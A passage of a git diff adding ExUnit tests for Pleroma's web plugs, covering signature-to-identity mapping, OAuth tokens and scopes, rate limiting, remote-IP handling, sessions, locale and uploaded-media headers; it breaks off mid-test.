+# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do + use Pleroma.Web.ConnCase + alias Pleroma.Web.Plugs.MappedSignatureToIdentityPlug + + import Tesla.Mock + import Plug.Conn + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + defp set_signature(conn, key_id) do + conn + |> put_req_header("signature", "keyId=\"#{key_id}\"") + |> assign(:valid_signature, true) + end + + test "it successfully maps a valid identity with a valid signature" do + conn = + build_conn(:get, "/doesntmattter") + |> set_signature("http://mastodon.example.org/users/admin") + |> MappedSignatureToIdentityPlug.call(%{}) + + refute is_nil(conn.assigns.user) + end + + test "it successfully maps a valid identity with a valid signature with payload" do + conn = + build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) + |> set_signature("http://mastodon.example.org/users/admin") + |> MappedSignatureToIdentityPlug.call(%{}) + + refute is_nil(conn.assigns.user) + end + + test "it considers a mapped identity to be invalid when it mismatches a payload" do + conn = + build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) + |> set_signature("https://niu.moe/users/rye") + |> MappedSignatureToIdentityPlug.call(%{}) + + assert %{valid_signature: false} == conn.assigns + end + + @tag skip: "known breakage; the testsuite presently depends on it" + test "it considers a mapped identity to be invalid when the identity cannot be found" do + conn = + build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) + |> set_signature("http://niu.moe/users/rye") + |> MappedSignatureToIdentityPlug.call(%{}) + + assert %{valid_signature: false} == conn.assigns + end +end diff --git a/test/pleroma/web/plugs/o_auth_plug_test.exs b/test/pleroma/web/plugs/o_auth_plug_test.exs new file mode 100644 index 000000000..f4df8f4cb --- /dev/null +++ b/test/pleroma/web/plugs/o_auth_plug_test.exs @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.OAuthPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.OAuthPlug + import Pleroma.Factory + + @session_opts [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + setup %{conn: conn} do + user = insert(:user) + {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create(insert(:oauth_app), user) + %{user: user, token: token, conn: conn} + end + + test "with valid token(uppercase), it assigns the user", %{conn: conn} = opts do + conn = + conn + |> put_req_header("authorization", "BEARER #{opts[:token]}") + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with valid token(downcase), it assigns the user", %{conn: conn} = opts do + conn = + conn + |> put_req_header("authorization", "bearer #{opts[:token]}") + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with valid token(downcase) in url parameters, it assigns the user", opts do + conn = + :get + |> build_conn("/?access_token=#{opts[:token]}") + |> put_req_header("content-type", "application/json") + |> fetch_query_params() + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with valid token(downcase) in body parameters, it assigns the user", opts do + conn = + :post + |> build_conn("/api/v1/statuses", access_token: opts[:token], status: "test") + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with invalid token, it not assigns the user", %{conn: conn} do + conn = + conn + |> put_req_header("authorization", "bearer TTTTT") + |> OAuthPlug.call(%{}) + + refute conn.assigns[:user] + end + + test "when token is missed but token in session, it assigns the user", %{conn: conn} = opts do + conn = + conn + |> Plug.Session.call(Plug.Session.init(@session_opts)) + |> fetch_session() + |> put_session(:oauth_token, opts[:token]) + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end +end diff --git a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs new file mode 100644 index 000000000..6a7676c8a --- /dev/null +++ b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs @@ -0,0 +1,210 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.OAuthScopesPlugTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Repo + + import Mock + import Pleroma.Factory + + test "is not performed if marked as skipped", %{conn: conn} do + with_mock OAuthScopesPlug, [:passthrough], perform: &passthrough([&1, &2]) do + conn = + conn + |> OAuthScopesPlug.skip_plug() + |> OAuthScopesPlug.call(%{scopes: ["random_scope"]}) + + refute called(OAuthScopesPlug.perform(:_, :_)) + refute conn.halted + end + end + + test "if `token.scopes` fulfills specified 'any of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["read"]}) + + refute conn.halted + assert conn.assigns[:user] + end + + test "if `token.scopes` fulfills specified 'all of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["scope2", "scope3"], op: :&}) + + refute conn.halted + assert conn.assigns[:user] + end + + describe "with `fallback: :proceed_unauthenticated` option, " do + test "if `token.scopes` doesn't fulfill specified conditions, " <> + "clears :user and :token assigns", + %{conn: conn} do + user = insert(:user) + token1 = insert(:oauth_token, scopes: ["read", "write"], user: user) + + for token <- [token1, nil], op <- [:|, :&] do + ret_conn = + conn + |> assign(:user, user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{ + scopes: ["follow"], + op: op, + fallback: :proceed_unauthenticated + }) + + refute ret_conn.halted + refute ret_conn.assigns[:user] + refute ret_conn.assigns[:token] + end + end + end + + describe "without :fallback option, " do + test "if `token.scopes` does not fulfill specified 'any of' conditions, " <> + "returns 403 and halts", + %{conn: conn} do + for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do + any_of_scopes = ["follow", "push"] + + ret_conn = + conn + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: any_of_scopes}) + + assert ret_conn.halted + assert 403 == ret_conn.status + + expected_error = "Insufficient permissions: #{Enum.join(any_of_scopes, " | ")}." + assert Jason.encode!(%{error: expected_error}) == ret_conn.resp_body + end + end + + test "if `token.scopes` does not fulfill specified 'all of' conditions, " <> + "returns 403 and halts", + %{conn: conn} do + for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do + token_scopes = (token && token.scopes) || [] + all_of_scopes = ["write", "follow"] + + conn = + conn + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: all_of_scopes, op: :&}) + + assert conn.halted + assert 403 == conn.status + + expected_error = + "Insufficient permissions: #{Enum.join(all_of_scopes -- token_scopes, " & ")}." + + assert Jason.encode!(%{error: expected_error}) == conn.resp_body + end + end + end + + describe "with hierarchical scopes, " do + test "if `token.scopes` fulfills specified 'any of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["read:something"]}) + + refute conn.halted + assert conn.assigns[:user] + end + + test "if `token.scopes` fulfills specified 'all of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["scope1:subscope", "scope2:subscope"], op: :&}) + + refute conn.halted + assert conn.assigns[:user] + end + end + + describe "filter_descendants/2" do + test "filters scopes which directly match or are ancestors of supported scopes" do + f = fn scopes, supported_scopes -> + OAuthScopesPlug.filter_descendants(scopes, supported_scopes) + end + + assert f.(["read", "follow"], ["write", "read"]) == ["read"] + + assert f.(["read", "write:something", "follow"], ["write", "read"]) == + ["read", "write:something"] + + assert f.(["admin:read"], ["write", "read"]) == [] + + assert f.(["admin:read"], ["write", "admin"]) == ["admin:read"] + end + end + + describe "transform_scopes/2" do + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage]) + + setup do + {:ok, %{f: &OAuthScopesPlug.transform_scopes/2}} + end + + test "with :admin option, prefixes all requested scopes with `admin:` " <> + "and [optionally] keeps only prefixed scopes, " <> + "depending on `[:auth, :enforce_oauth_admin_scope_usage]` setting", + %{f: f} do + Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false) + + assert f.(["read"], %{admin: true}) == ["admin:read", "read"] + + assert f.(["read", "write"], %{admin: true}) == [ + "admin:read", + "read", + "admin:write", + "write" + ] + + Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true) + + assert f.(["read:accounts"], %{admin: true}) == ["admin:read:accounts"] + + assert f.(["read", "write:reports"], %{admin: true}) == [ + "admin:read", + "admin:write:reports" + ] + end + + test "with no supported options, returns unmodified scopes", %{f: f} do + assert f.(["read"], %{}) == ["read"] + assert f.(["read", "write"], %{}) == ["read", "write"] + end + end +end diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs new file mode 100644 index 000000000..0d32031e8 --- /dev/null +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -0,0 +1,91 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.PlugHelperTest do + @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" + + alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug + alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug + alias Pleroma.Plugs.PlugHelper + + import Mock + + use Pleroma.Web.ConnCase + + describe "when plug is skipped, " do + setup_with_mocks( + [ + {ExpectPublicOrAuthenticatedCheckPlug, [:passthrough], []} + ], + %{conn: conn} + ) do + conn = ExpectPublicOrAuthenticatedCheckPlug.skip_plug(conn) + %{conn: conn} + end + + test "it neither adds plug to called plugs list nor calls `perform/2`, " <> + "regardless of :if_func / :unless_func options", + %{conn: conn} do + for opts <- [%{}, %{if_func: fn _ -> true end}, %{unless_func: fn _ -> false end}] do + ret_conn = ExpectPublicOrAuthenticatedCheckPlug.call(conn, opts) + + refute called(ExpectPublicOrAuthenticatedCheckPlug.perform(:_, :_)) + refute PlugHelper.plug_called?(ret_conn, ExpectPublicOrAuthenticatedCheckPlug) + end + end + end + + describe "when plug is NOT skipped, " do + setup_with_mocks([{ExpectAuthenticatedCheckPlug, [:passthrough], []}]) do + :ok + end + + test "with no pre-run checks, adds plug to called plugs list and calls `perform/2`", %{ + conn: conn + } do + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{}) + + assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) + assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + end + + test "when :if_func option is given, calls the plug only if provided function evals tru-ish", + %{conn: conn} do + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> false end}) + + refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) + refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> true end}) + + assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) + assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + end + + test "if :unless_func option is given, calls the plug only if provided function evals falsy", + %{conn: conn} do + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> true end}) + + refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) + refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> false end}) + + assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) + assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + end + + test "allows a plug to be called multiple times (even if it's in called plugs list)", %{ + conn: conn + } do + conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value1}) + assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value1})) + + assert PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) + + conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value2}) + assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value2})) + end + end +end diff --git a/test/pleroma/web/plugs/rate_limiter_test.exs b/test/pleroma/web/plugs/rate_limiter_test.exs new file mode 100644 index 000000000..dfc1abcbd --- /dev/null +++ b/test/pleroma/web/plugs/rate_limiter_test.exs @@ -0,0 +1,263 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.RateLimiterTest do + use Pleroma.Web.ConnCase + + alias Phoenix.ConnTest + alias Pleroma.Config + alias Pleroma.Plugs.RateLimiter + alias Plug.Conn + + import Pleroma.Factory + import Pleroma.Tests.Helpers, only: [clear_config: 1, clear_config: 2] + + # Note: each example must work with separate buckets in order to prevent concurrency issues + setup do: clear_config([Pleroma.Web.Endpoint, :http, :ip]) + setup do: clear_config(:rate_limit) + + describe "config" do + @limiter_name :test_init + setup do: clear_config([Pleroma.Plugs.RemoteIp, :enabled]) + + test "config is required for plug to work" do + Config.put([:rate_limit, @limiter_name], {1, 1}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + assert %{limits: {1, 1}, name: :test_init, opts: [name: :test_init]} == + [name: @limiter_name] + |> RateLimiter.init() + |> RateLimiter.action_settings() + + assert nil == + [name: :nonexisting_limiter] + |> RateLimiter.init() + |> RateLimiter.action_settings() + end + end + + test "it is disabled if it remote ip plug is enabled but no remote ip is found" do + assert RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, false)) + end + + test "it is enabled if remote ip found" do + refute RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, true)) + end + + test "it is enabled if remote_ip_found flag doesn't exist" do + refute RateLimiter.disabled?(build_conn()) + end + + test "it restricts based on config values" do + limiter_name = :test_plug_opts + scale = 80 + limit = 5 + + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + Config.put([:rate_limit, limiter_name], {scale, limit}) + + plug_opts = RateLimiter.init(name: limiter_name) + conn = build_conn(:get, "/") + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + Process.sleep(10) + end + + conn = RateLimiter.call(conn, plug_opts) + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + + Process.sleep(50) + + conn = build_conn(:get, "/") + + conn = RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + + refute conn.status == Conn.Status.code(:too_many_requests) + refute conn.resp_body + refute conn.halted + end + + describe "options" do + test "`bucket_name` option overrides default bucket name" do + limiter_name = :test_bucket_name + + Config.put([:rate_limit, limiter_name], {1000, 5}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + base_bucket_name = "#{limiter_name}:group1" + plug_opts = RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name) + + conn = build_conn(:get, "/") + + RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) + assert {:error, :not_found} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + end + + test "`params` option allows different queries to be tracked independently" do + limiter_name = :test_params + Config.put([:rate_limit, limiter_name], {1000, 5}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + plug_opts = RateLimiter.init(name: limiter_name, params: ["id"]) + + conn = build_conn(:get, "/?id=1") + conn = Conn.fetch_query_params(conn) + conn_2 = build_conn(:get, "/?id=2") + + RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + assert {0, 5} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) + end + + test "it supports combination of options modifying bucket name" do + limiter_name = :test_options_combo + Config.put([:rate_limit, limiter_name], {1000, 5}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + base_bucket_name = "#{limiter_name}:group1" + + plug_opts = + RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name, params: ["id"]) + + id = "100" + + conn = build_conn(:get, "/?id=#{id}") + conn = Conn.fetch_query_params(conn) + conn_2 = build_conn(:get, "/?id=#{101}") + + RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) + assert {0, 5} = RateLimiter.inspect_bucket(conn_2, base_bucket_name, plug_opts) + end + end + + describe "unauthenticated users" do + test "are restricted based on remote IP" do + limiter_name = :test_unauthenticated + Config.put([:rate_limit, limiter_name], [{1000, 5}, {1, 10}]) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + plug_opts = RateLimiter.init(name: limiter_name) + + conn = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 2}} + conn_2 = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 3}} + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + refute conn.halted + end + + conn = RateLimiter.call(conn, plug_opts) + + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + + conn_2 = RateLimiter.call(conn_2, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) + + refute conn_2.status == Conn.Status.code(:too_many_requests) + refute conn_2.resp_body + refute conn_2.halted + end + end + + describe "authenticated users" do + setup do + Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo) + + :ok + end + + test "can have limits separate from unauthenticated connections" do + limiter_name = :test_authenticated1 + + scale = 50 + limit = 5 + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + Config.put([:rate_limit, limiter_name], [{1000, 1}, {scale, limit}]) + + plug_opts = RateLimiter.init(name: limiter_name) + + user = insert(:user) + conn = build_conn(:get, "/") |> assign(:user, user) + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + refute conn.halted + end + + conn = RateLimiter.call(conn, plug_opts) + + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + end + + test "different users are counted independently" do + limiter_name = :test_authenticated2 + Config.put([:rate_limit, limiter_name], [{1, 10}, {1000, 5}]) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + plug_opts = RateLimiter.init(name: limiter_name) + + user = insert(:user) + conn = build_conn(:get, "/") |> assign(:user, user) + + user_2 = insert(:user) + conn_2 = build_conn(:get, "/") |> assign(:user, user_2) + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + end + + conn = RateLimiter.call(conn, plug_opts) + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + + conn_2 = RateLimiter.call(conn_2, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) + refute conn_2.status == Conn.Status.code(:too_many_requests) + refute conn_2.resp_body + refute conn_2.halted + end + end + + test "doesn't crash due to a race condition when multiple requests are made at the same time and the bucket is not yet initialized" do + limiter_name = :test_race_condition + Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5}) + Pleroma.Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + opts = RateLimiter.init(name: limiter_name) + + conn = build_conn(:get, "/") + conn_2 = build_conn(:get, "/") + + %Task{pid: pid1} = + task1 = + Task.async(fn -> + receive do + :process2_up -> + RateLimiter.call(conn, opts) + end + end) + + task2 = + Task.async(fn -> + send(pid1, :process2_up) + RateLimiter.call(conn_2, opts) + end) + + Task.await(task1) + Task.await(task2) + + refute {:err, :not_found} == RateLimiter.inspect_bucket(conn, limiter_name, opts) + end +end diff --git a/test/pleroma/web/plugs/remote_ip_test.exs b/test/pleroma/web/plugs/remote_ip_test.exs new file mode 100644 index 000000000..14c557694 --- /dev/null +++ b/test/pleroma/web/plugs/remote_ip_test.exs @@ -0,0 +1,108 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.RemoteIpTest do + use ExUnit.Case + use Plug.Test + + alias Pleroma.Plugs.RemoteIp + + import Pleroma.Tests.Helpers, only: [clear_config: 2] + + setup do: + clear_config(RemoteIp, + enabled: true, + headers: ["x-forwarded-for"], + proxies: [], + reserved: [ + "127.0.0.0/8", + "::1/128", + "fc00::/7", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16" + ] + ) + + test "disabled" do + Pleroma.Config.put(RemoteIp, enabled: false) + + %{remote_ip: remote_ip} = conn(:get, "/") + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == remote_ip + end + + test "enabled" do + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "custom headers" do + Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + refute conn.remote_ip == {1, 1, 1, 1} + + conn = + conn(:get, "/") + |> put_req_header("cf-connecting-ip", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "custom proxies" do + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") + |> RemoteIp.call(nil) + + refute conn.remote_ip == {1, 1, 1, 1} + + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "proxies set without CIDR format" do + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.1"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "proxies set `nonsensical` CIDR" do + Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) + Pleroma.Config.put([RemoteIp, :proxies], ["10.0.0.3/24"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "10.0.0.3, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end +end diff --git a/test/pleroma/web/plugs/session_authentication_plug_test.exs b/test/pleroma/web/plugs/session_authentication_plug_test.exs new file mode 100644 index 000000000..34518414f --- /dev/null +++ b/test/pleroma/web/plugs/session_authentication_plug_test.exs @@ -0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SessionAuthenticationPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.SessionAuthenticationPlug + alias Pleroma.User + + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session + |> assign(:auth_user, %User{id: 1}) + + %{conn: conn} + end + + test "it does nothing if a user is assigned", %{conn: conn} do + conn = + conn + |> assign(:user, %User{}) + + ret_conn = + conn + |> SessionAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end + + test "if the auth_user has the same id as the user_id in the session, it assigns the user", %{ + conn: conn + } do + conn = + conn + |> put_session(:user_id, conn.assigns.auth_user.id) + |> SessionAuthenticationPlug.call(%{}) + + assert conn.assigns.user == conn.assigns.auth_user + end + + test "if the auth_user has a different id as the user_id in the session, it does nothing", %{ + conn: conn + } do + conn = + conn + |> put_session(:user_id, -1) + + ret_conn = + conn + |> SessionAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end +end diff --git a/test/pleroma/web/plugs/set_format_plug_test.exs b/test/pleroma/web/plugs/set_format_plug_test.exs new file mode 100644 index 000000000..1b9ba16b1 --- /dev/null +++ b/test/pleroma/web/plugs/set_format_plug_test.exs @@ -0,0 +1,38 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SetFormatPlugTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.SetFormatPlug + + test "set format from params" do + conn = + :get + |> conn("/cofe?_format=json") + |> SetFormatPlug.call([]) + + assert %{format: "json"} == conn.assigns + end + + test "set format from header" do + conn = + :get + |> conn("/cofe") + |> put_private(:phoenix_format, "xml") + |> SetFormatPlug.call([]) + + assert %{format: "xml"} == conn.assigns + end + + test "doesn't set format" do + conn = + :get + |> conn("/cofe") + |> SetFormatPlug.call([]) + + refute conn.assigns[:format] + end +end diff --git a/test/pleroma/web/plugs/set_locale_plug_test.exs b/test/pleroma/web/plugs/set_locale_plug_test.exs new file mode 100644 index 000000000..3dc73202e --- /dev/null +++ b/test/pleroma/web/plugs/set_locale_plug_test.exs @@ -0,0 +1,46 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SetLocalePlugTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.SetLocalePlug + alias Plug.Conn + + test "default locale is `en`" do + conn = + :get + |> conn("/cofe") + |> SetLocalePlug.call([]) + + assert "en" == Gettext.get_locale() + assert %{locale: "en"} == conn.assigns + end + + test "use supported locale from `accept-language`" do + conn = + :get + |> conn("/cofe") + |> Conn.put_req_header( + "accept-language", + "ru, fr-CH, fr;q=0.9, en;q=0.8, *;q=0.5" + ) + |> SetLocalePlug.call([]) + + assert "ru" == Gettext.get_locale() + assert %{locale: "ru"} == conn.assigns + end + + test "use default locale if locale from `accept-language` is not supported" do + conn = + :get + |> conn("/cofe") + |> Conn.put_req_header("accept-language", "tlh") + |> SetLocalePlug.call([]) + + assert "en" == Gettext.get_locale() + assert %{locale: "en"} == conn.assigns + end +end diff --git a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs new file mode 100644 index 000000000..11404c7f7 --- /dev/null +++ b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SetUserSessionIdPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.SetUserSessionIdPlug + alias Pleroma.User + + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session + + %{conn: conn} + end + + test "doesn't do anything if the user isn't set", %{conn: conn} do + ret_conn = + conn + |> SetUserSessionIdPlug.call(%{}) + + assert ret_conn == conn + end + + test "sets the user_id in the session to the user id of the user assign", %{conn: conn} do + Code.ensure_compiled(Pleroma.User) + + conn = + conn + |> assign(:user, %User{id: 1}) + |> SetUserSessionIdPlug.call(%{}) + + id = get_session(conn, :user_id) + assert id == 1 + end +end diff --git a/test/pleroma/web/plugs/uploaded_media_plug_test.exs b/test/pleroma/web/plugs/uploaded_media_plug_test.exs new file mode 100644 index 000000000..07f52c8cd --- /dev/null +++ b/test/pleroma/web/plugs/uploaded_media_plug_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UploadedMediaPlugTest do + use Pleroma.Web.ConnCase + alias Pleroma.Upload + + defp upload_file(context) do + Pleroma.DataCase.ensure_local_uploader(context) + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "nice_tf.jpg" + } + + {:ok, data} = Upload.store(file) + [%{"href" => attachment_url} | _] = data["url"] + [attachment_url: attachment_url] + end + + setup_all :upload_file + + test "does not send Content-Disposition header when name param is not set", %{ + attachment_url: attachment_url + } do + conn = get(build_conn(), attachment_url) + refute Enum.any?(conn.resp_headers, &(elem(&1, 0) == "content-disposition")) + end + + test "sends Content-Disposition header when name param is set", %{ + attachment_url: attachment_url + } do + conn = 